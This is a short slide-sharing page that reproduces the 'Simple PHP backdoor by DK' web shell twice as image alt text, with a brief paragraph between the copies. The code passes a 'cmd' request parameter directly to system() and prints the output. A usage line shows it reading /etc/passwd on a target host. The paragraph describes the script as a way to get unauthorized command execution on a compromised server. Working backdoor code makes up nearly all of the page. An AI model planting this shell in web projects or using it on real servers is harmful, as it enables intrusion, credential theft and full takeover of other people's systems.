Embed presentation
Download to read offline
![<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->](https://image.slidesharecdn.com/simplephpbackdoorbydk-120309052725-phpapp02/75/Simple-php-backdoor_by_dk-1-2048.jpg)
This PHP script allows remote execution of system commands on a vulnerable server. By accessing the PHP file with a "cmd" parameter containing the desired command, the script will run that command and display the output, providing a backdoor for unauthorized access and control of the server. It demonstrates how an insecure file upload or code injection could enable an attacker to execute arbitrary commands from a web browser.
![<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->](https://image.slidesharecdn.com/simplephpbackdoorbydk-120309052725-phpapp02/75/Simple-php-backdoor_by_dk-1-2048.jpg)